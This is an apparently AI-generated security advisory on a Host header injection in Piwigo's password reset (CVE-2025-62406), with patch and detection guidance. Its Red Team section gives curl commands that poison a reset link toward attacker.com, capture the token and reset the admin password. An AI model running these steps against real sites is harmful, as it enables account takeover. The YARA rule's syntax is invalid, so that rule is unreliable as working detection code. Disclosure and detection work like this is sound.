CVE-2025-62406
Executive Summary
CVE-2025-62406 is a host header injection vulnerability in Piwigo, a popular open-source photo gallery application. The flaw resides in the password reset functionality of Piwigo version 15.6.0. When a user requests a password reset, the application constructs the reset URL using the Host header from the incoming HTTP request without any validation. An attacker who knows or can guess a valid username or email address can craft a malicious Host header, causing the password reset link to point to an attacker-controlled domain. If the victim clicks this link, they are redirected to the attacker's site, where credentials or a session token can be harvested. The vulnerability has a CVSS score of 8.1 (High) and is patched in version 15.7.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Piwigo web application. The risk is primarily to self-hosted Piwigo instances. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed to trigger the reset.
- User Interaction (UI): Required (R) - The victim must click the malicious link.
- Scope (S): Changed (C) - The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) - Limited information disclosure (e.g., session token).
- Integrity (I): Low (L) - Limited ability to modify data (e.g., redirect to phishing page).
- Availability (A): None (N) - No impact on availability.
Threat Level: High. The attack is easy to execute, requires no privileges, and can lead to account takeover via credential phishing or session hijacking.
Deep Dive & Mechanics
The vulnerability is a classic Host Header Injection (CWE-601: URL Redirection to Untrusted Site). The password reset flow in Piwigo 15.6.0 works as follows:
- A user navigates to the password reset page and enters a username or email address.
- The application looks up the user and generates a unique, time-limited reset token.
- The application constructs the password reset URL by concatenating the
Hostheader from the HTTP request with the reset path (e.g.,https://[Host]/password_reset.php?token=...). - This URL is then sent to the user's email address.
The flaw is that the Host header is taken directly from the request without any sanitization or validation. An attacker can intercept or craft an HTTP request to the password reset endpoint with a modified Host header, such as attacker.com. The resulting email will contain a link like https://attacker.com/password_reset.php?token=.... If the victim clicks this link, they are redirected to the attacker's domain, where the attacker can serve a fake login page to capture credentials or steal the reset token.
Attack Scenario:
- Attacker identifies a Piwigo instance (e.g., via Shodan).
- Attacker knows or guesses a valid username (e.g., "admin").
- Attacker sends a POST request to
/password_reset.phpwithHost: attacker.comandusername=admin. - Piwigo sends an email to the admin with a reset link pointing to
https://attacker.com/password_reset.php?token=abc123. - The admin clicks the link, thinking it's legitimate.
- The attacker's server captures the token and uses it to reset the admin's password, gaining full control.
Vulnerable vs. Patched Code
Vulnerable Code (Piwigo 15.6.0): The vulnerable code is typically in the password reset handler. A simplified example:
// Vulnerable: Host header used directly
$reset_url = 'https://' . $_SERVER['HTTP_HOST'] . '/password_reset.php?token=' . $token;
mail($user_email, 'Password Reset', 'Click here: ' . $reset_url);
Patched Code (Piwigo 15.7.0):
The fix validates the Host header against a whitelist of allowed hostnames (e.g., the server's configured domain name).
// Patched: Validate Host header
$allowed_hosts = ['example.com', 'www.example.com']; // Configured list
$host = $_SERVER['HTTP_HOST'];
if (!in_array($host, $allowed_hosts)) {
// Log or reject
die('Invalid host');
}
$reset_url = 'https://' . $host . '/password_reset.php?token=' . $token;
mail($user_email, 'Password Reset', 'Click here: ' . $reset_url);
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A vulnerable Piwigo 15.6.0 instance (e.g., Docker container).
- A known valid username (e.g., "admin").
- An attacker-controlled domain or server to receive the redirect.
Exploitation Steps:
- Identify Target: Use Shodan or manual browsing to find Piwigo instances.
- Craft Request: Use
curlto send a password reset request with a maliciousHostheader.curl -X POST http://target-piwigo.com/password_reset.php \ -H "Host: attacker.com" \ -d "username=admin" - Wait for Email: The victim will receive an email with a link to
https://attacker.com/password_reset.php?token=.... - Capture Token: Set up a simple HTTP server on
attacker.comto log the token.python3 -m http.server 80 - Use Token: Once the token is captured, use it to reset the victim's password.
curl -X POST http://target-piwigo.com/password_reset.php \ -d "token=CAPTURED_TOKEN&new_password=NewP@ss123"
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual
Hostheaders in HTTP requests, especially to/password_reset.php. - Look for multiple password reset requests from the same IP in a short time.
- Alert on emails containing links to external domains that are not the legitimate Piwigo domain.
Mitigation:
- Immediately upgrade to Piwigo 15.7.0 or later.
- Implement a Web Application Firewall (WAF) rule to block requests with suspicious
Hostheaders. - Use a reverse proxy (e.g., Nginx) to validate the
Hostheader before it reaches the application. - Educate users to verify the sender's email address and the link domain before clicking.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/password_reset.phpwith aHostheader that does not match the legitimate domain. - Outbound emails from the Piwigo server containing links to external, untrusted domains.
- HTTP requests to
- Logs:
- Web server logs showing
Hostheader values that are not the expected domain. - Email server logs showing password reset emails sent to users with unusual link domains.
- Web server logs showing
- File System:
- No specific file-based IOCs; the attack is purely network-based.
Detection Engineering
YARA Rule
rule CVE_2025_62406_Piwigo_Host_Header_Injection {
meta:
description = "Detects suspicious Host header in password reset requests to Piwigo"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-62406"
strings:
$reset_path = "/password_reset.php"
$host_header = "Host:"
condition:
$reset_path and $host_header and not for any of them : ( $host_header contains "legitimate-domain.com" )
}
Sigma Rule
title: Piwigo Host Header Injection in Password Reset
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Piwigo password reset with a modified Host header
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-stem: '/password_reset.php'
cs-host: 'attacker.com' # Replace with known malicious domains
condition: selection
falsepositives:
- Legitimate domain changes (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-62406 Piwigo Host Header Injection"; flow:to_server; content:"/password_reset.php"; http_uri; content:"Host|3a|"; http_header; pcre:"/Host:\s*(?!legitimate-domain\.com)[^\r\n]+/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Piwigo to version 15.7.0 or later immediately.
- WAF Rule: Deploy a WAF rule to block requests to
/password_reset.phpwhere theHostheader does not match the expected domain. - Reverse Proxy: Configure Nginx or Apache to validate the
Hostheader and reject invalid requests.server { listen 80; server_name legitimate-domain.com; if ($host != "legitimate-domain.com") { return 444; } # ... rest of config }
Long-Term Measures:
- Implement a Content Security Policy (CSP) to restrict where forms can be submitted.
- Use HTTPS with HSTS to prevent downgrade attacks.
- Regularly audit and update all web application dependencies.
- Conduct security training for users to recognize phishing attempts.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.